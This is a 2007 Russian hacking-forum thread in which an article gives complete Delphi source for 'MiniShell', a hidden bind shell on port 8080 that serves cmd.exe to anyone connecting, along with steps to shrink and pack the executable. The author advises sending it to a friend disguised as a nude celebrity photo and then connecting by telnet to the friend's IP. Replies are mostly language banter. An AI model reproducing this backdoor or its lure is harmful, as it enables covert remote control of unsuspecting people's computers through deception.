ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MiniShell или мусорный код делфи.
  #1  
Старый 20.04.2007, 11:11
Аватар для zl0y
zl0y
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме:
2869410

Репутация: 925


Отправить сообщение для zl0y с помощью ICQ
Smile MiniShell или мусорный код делфи.

Приступим....
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
Итак поехали!

Инструменты: Delphi3, Restorator 2007, Migeel's Realigner и FSG 2.0(можно другой).

Теперь разберем каждый инструмент по частям:

1)От делфи на ничего не нужно кроме DCC32.exe,windows.pas,winsock.pas.

2)Restorator,незнаю какую траву курил борланд когда писал делфи но факт того,что в .exe пишется совершенно бесполезная секция которая содержит информация о подключенных модулях при компиляции,гордое имя её(.RCDATA).

3)Migeel's Realigner - утилита для удаления таблицы релокаций в нашем случае таблица может быть удалена.

4)Пакер мой выбор пал на FSG(качаем с http://www.xtreeme.prv.pl).

Приступим как вы уже наверно догадались...мы будем писать шелл

Почему не си со всеми его плюсами? Потому что на мой взгляд делфи легче в изучении и не уступает по возможностям и иногда и обгоняет

Что то я все отвлекаюсь ... приведу код шелла который был составлен мною после недолгих экспериментов
Цитата:
program Minishell;

uses
windows,WinSock;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g, dwFlags: dword): integer;stdcall; external 'ws2_32.dll';

var
si: TStartupInfo;
WSAData: TWSAData;
pi: TProcessInformation;
sock: integer;
sockaddr: TSockAddrIn;
sHandle: dword;

begin
WSAStartup($101, WSAData);
sock := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
sockaddr.sin_family := AF_INET;
sockaddr.sin_port := htons(8080);
bind(sock, sockaddr, 16);
listen(sock, 0);
while true do
begin
sHandle := accept(sock, nil, 0);
si.cb := SizeOf(TStartupInfo);
si.wShowWindow := SW_HIDE;
si.dwFlags := 0101;
si.hStdError := sHandle;
si.hStdInput := sHandle;
si.hStdOutput := sHandle;
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, si, pi);
end;
end.
Компилируем .... если вы не слепой инвалид с палочкой то вы наверно заметите в папке с исходником .exe файл размером (14 848 байт) Отлично скажете вы ! - Я отвечу нет ! Мы способны на большое и сейчас мы попытаемся выжать это всё из себя... Вы конечно скажете ща возму пакер и упакую ... но все равно размера менее 10 kb вы недобьётесь! Мы же поступим другим способом.

Далее рекомендую производить всю операцию по этапам,чтобы избежать ошибок !

1)Компилируем наш исходный код проекта в .exe файл.

2)Запускаем Restorator 2007 и удаляем больше ненужную нам секцию с гордым именем "RCData".

3)Используем Migeel's Realigner с параметром командной строки(realign MiniShell.exe),чтобы удалить таблицы релокаций ...которые так насильно создает делфи

4)Запакуем файл FSG.

Если вы все сделали правильно,то в вашей папке появиться .exe файл размером в: (7 293 байт)

Настало время для тестирования нашего шелла!
Здесь необходимо проявить фантазию кинув его другу под видом фотки голой бритни спирс

А далее дело уже секундное...
Пуск>>Выполнить>> cmd
Далее появиться окно наберем в нем telnet 127.0.0.1 8080. Готово сэр ! Вместо 127.0.0.1 конечно должен стоять ип-адрес вашего друга.

Дальше опишу второй метод но только здесь без обид .exe и исходники не дам ! Это так для коллекции

Результатом следующих действий стал шелл размером в 2416 байт ! Только вдумайтесь в эти цифры! Кто там пишет на VCL (380 kb)

Что,я использовал для получения такого результата:
1)Использование прямых вызовов к фунциям dll
2)Код на чистых asm вставках !
4)Компиллер Delphi3
5)MicroSoft линковщик или просто LINK.exe
6)Restorator 2007
7)Migeel's Realigner
8)fakecom.com переконвертурвует наш файл в .com это связанно с тем что .com файлы они же приложения MS-DOS не имеют заголовка PE файла это нам только на руку
9)UPX 2.93w упакует наш файл

Ну и наконец мы будем иметь шелл размером в 2416 байт

В заключении хочу сказать что не стоит гнать на делфи пургу,так как этот путь даже и большой инструмент при умелом подходе,становиться отличным применением своих знаний готовых покорять все новые горизонты программирования ! Удачи вам в вашей деятельности чем бы вы не занимались Ну вот и все

Примеры к статье(исходник,утилиты).
http://slil.ru/24264071

При перепечатывании а также копировании данной статьи ссылка на автора(меня) и первоисточник обязательна !

Последний раз редактировалось zl0y; 20.04.2007 в 11:19..
 
Ответить с цитированием

  #2  
Старый 20.04.2007, 11:18
Аватар для iv.
iv.
Moderator - Level 7
Регистрация: 21.03.2007
Сообщений: 1,200
Провел на форуме:
7134052

Репутация: 1204


По умолчанию

Цитата:
Цель данной статьи показать что делфи ничем не хуже всяких си со всеми его плюсами !
ну да, давай ещё расскажем что "вижуал бейсик" ничуть не хуже ассемблера..работа с сокетами-то везде практически аналогичная. =)
а так в общем-то ничего.

неплохо было бы оформить по-красивше.
 
Ответить с цитированием

  #3  
Старый 20.04.2007, 11:26
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

На C++ код будет не меньше.

А вот на C или асме....


У каждого инструмента есть своя область применения. Да, гвозди можно забивать и микроскопом. И гуй на пхп можно писать. И сайты на асме делать. Но...
 
Ответить с цитированием

  #4  
Старый 20.04.2007, 11:30
Аватар для zl0y
zl0y
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме:
2869410

Репутация: 925


Отправить сообщение для zl0y с помощью ICQ
По умолчанию

Цитата:
nerezus
Надо будет попробывать на асм переписать
 
Ответить с цитированием

  #5  
Старый 20.04.2007, 13:13
Аватар для Zitt
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме:
5885100

Репутация: 773


Отправить сообщение для Zitt с помощью ICQ
По умолчанию

Дельфи рулит))) +1. Мне как раз такое нужно...
 
Ответить с цитированием

  #6  
Старый 20.04.2007, 15:49
Аватар для salamandra
salamandra
Новичок
Регистрация: 04.04.2006
Сообщений: 8
Провел на форуме:
13984

Репутация: 0
По умолчанию

На асме этот код будет 1,5 кб,а можно сделать ещё меньше!Это я о том что каждый язык программирования заточен под определённые задачи и лишнии извращения просто не к чему!

Последний раз редактировалось salamandra; 20.04.2007 в 15:52..
 
Ответить с цитированием

  #7  
Старый 20.04.2007, 15:52
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

хочу сайт на асме =\
Аффтору плюс
 
Ответить с цитированием

  #8  
Старый 20.04.2007, 17:59
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
хочу сайт на асме =\
Я делал. Потом на никсовом серваке через WINE и bash к апачу как CGI подключал ))

=)
 
Ответить с цитированием

  #9  
Старый 09.05.2007, 14:20
Аватар для zl0y
zl0y
Banned
Регистрация: 13.09.2006
Сообщений: 523
Провел на форуме:
2869410

Репутация: 925


Отправить сообщение для zl0y с помощью ICQ
По умолчанию

Немного поковырял исходники уменьшил размер ! Теперь он весит 2,25 КБ (2 313 байт)

Качаем:http://slil.ru/24348370
 
Ответить с цитированием

  #10  
Старый 21.10.2007, 04:27
Аватар для ZirroCool
ZirroCool
Участник форума
Регистрация: 16.09.2006
Сообщений: 139
Провел на форуме:
513709

Репутация: 144
Отправить сообщение для ZirroCool с помощью ICQ
По умолчанию

Ребят походу этот шел не совсем так работает!у мну лично пытаюсь подконектиться и он разворачиват цмд не на том компе с которого я конектюсь а на том на котоом запущен сервак!Походу это полный пипец вы та не думаете?Поправьте меня если я не прав и если не сложно покажите как должно быть на самом деле!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Три теоремы об угоне автомобиля «Ана®xист» Электроника и Фрикинг 5 26.05.2009 23:05
Камасутра хек-хек. guest3297 Болталка 30 17.04.2007 18:27
Xss новичкам. Предназначение Xss-атак »Atom1c« Чужие Статьи 2 09.03.2007 21:59
Делфи для Новичков..... ~Fenix~ С/С++, C#, Delphi, .NET, Asm 21 10.06.2006 14:11
На счет халявного инета foreva Чужие Статьи 0 06.02.2005 12:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ